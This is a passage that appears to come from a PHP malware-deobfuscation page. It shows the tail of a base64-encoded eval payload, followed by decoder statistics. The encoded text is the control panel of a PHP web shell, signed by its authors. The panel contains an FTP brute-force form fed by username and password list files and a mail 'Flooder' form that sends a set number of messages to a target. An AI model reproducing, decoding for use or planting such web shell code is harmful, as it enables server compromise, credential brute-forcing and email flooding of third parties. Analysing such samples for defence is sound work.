dHI+PHRkIGhlaWdodD0zNSB3aWR0aD0xMDAlIGNvbHNwYW49Mj48L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+ZnRwX3VzZXJzIGZpbGU6PC9mb250Pg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3VzZXJzJyBjbGFzcz0ndGEnIHNpemU9MTcgdmFsdWU9ImZ0cF91c2Vycy50eHQiPg0KPC90ZD48dGQ+PC90ZD48L3RyPg0KPHRyPjx0ZCBoZWlnaHQ9NSB3aWR0aD0xMDAlIGNvbHNwYW49Mj48L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+ZnRwX3Bhc3N3ZCBmaWxlOjwvZm9udD4NCjwvdGQ+PHRkIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwYXNzd2QnIGNsYXNzPSd0YScgc2l6ZT0xNyB2YWx1ZT0iZnRwX3Bhc3N3ZHMudHh0Ij4NCjwvdGQ+PHRkPjwvdGQ+PC90cj4NCjx0cj48dGQgaGVpZ2h0PTUgd2lkdGg9MTAwJSBjb2xzcGFuPTI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPmZ0cF9sb2cgZmlsZTo8L2ZvbnQ+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nbG9nJyBjbGFzcz0ndGEnIHNpemU9MTcgdmFsdWU9ImZ0cF9sb2cudHh0Ij4NCjwvdGQ+PHRkPjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yIGhlaWdodD0yMD48L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49MiBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJTdGFydCBCcnV0ZSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9OT4NCjwvdGQ+PC90cj4NCjwvdGQ+PC90YWJsZT48L2Zvcm0+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+DQo8dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IGNsYXNzPSd0ZDInIHdpZHRoPTMzJT4NCjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT4NCjx0cj48dGQgdmFsaWduPXRvcCBjb2xzcGFuPTMgaGVpZ2h0PTMwPg0KPGI+Ljo6Rmxvb2Rlcjo6LjwvYj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+PGI+bG9nX2ZpbGU6PC9iPjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nbG9nJyBjbGFzcz0ndGEnIHNpemU9MTcgdmFsdWU9Im1mbG9vZF9sb2cudHh0Ij4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9NT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+U2VuZCB0bzo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3RvJyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+PHRyPg0KPHRkIGhlaWdodD01Pjx0ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5Gcm9tOjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nZnJvbScgY2xhc3M9J3RhJyBzaXplPTI3Pg0KPC90ZD48L3RyPg0KPHRkIGhlaWdodD01Pjx0ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5TdWJqZWN0OjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nc3ViamVjdCcgY2xhc3M9J3RhJyBzaXplPTI3Pg0KPC90ZD48L3RyPg0KPHRkIGhlaWdodD01Pjx0ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5NZXNzYWdlOjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjx0ZXh0YXJlYSBuYW1lPSdtc2cnIGNsYXNzPSd0YScgY29scz0yMCByb3dzPTQ+PC90ZXh0YXJlYT4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9MjU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPkFtb3VudDo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2Ftb3VudCcgY2xhc3M9J3RhJyBzaXplPTE3Pg0KPC90ZD48L3RyPg0KPHRkIGhlaWdodD01Pjx0ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5DaGVjazxzdXA+Kjwvc3VwPjo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2NoZWNrJyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJGbG9vZCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ndHlwZScgdmFsdWU9MTA+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2NlbnRlcj4NCjxjZW50ZXI+PGZvbnQgc2l6ZT0xIGNvbG9yPSM0NDQ0NDQ+LjpbUHVibGljIHYxLjBdOi48L2ZvbnQ+PC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQogIA0KPCEtLSBDb2RlZCBieSBMb0ZGaSAmIExzMDFyIC8vLS0+"));
?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 849a229699e53de1955200e6c7db031b |
| Eval Count | 1 |
| Decode Time | 108 ms |